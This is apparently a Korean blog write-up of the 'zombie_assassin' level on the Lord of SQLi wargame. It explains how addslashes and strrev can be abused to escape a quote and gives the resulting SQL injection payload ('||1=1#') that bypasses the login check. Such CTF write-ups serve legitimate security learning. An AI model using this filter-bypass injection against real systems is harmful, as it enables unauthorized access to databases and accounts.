반응형
문제
https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php
문제풀이
이전 문제와 동일하게 역슬래시를 이용하여 작은따옴표를 일반문자로 처리해주어야 한다.
작은따옴표는 필터 처리 되어 있으므로, addslashes 함수를 이용한다.
addslashes 함수는 작은따옴표, 큰따옴표, 널문자 앞에 역슬래시(\')를 붙여주는데 strrev 함수로 인해 '\ 와 같은 형태가 된다.
이를 이용하여 큰따옴표를 입력하면 아래와 같은 형태가 된다.
select id from prob_zombie_assassin where id='"' and pw='%231=1||'
=> addslashes, strrev 함수 적용
select id from prob_zombie_assassin where id=' "\' and pw= '||1=1%23'
반응형
'write-up(web) > los' 카테고리의 다른 글
[LOS] dragon (0) | 2023.01.23 |
---|---|
[LOS] nightmare (0) | 2023.01.22 |
[LOS] succubus (0) | 2023.01.22 |
[LOS] assassin (0) | 2023.01.22 |
[LOS] giant (0) | 2023.01.22 |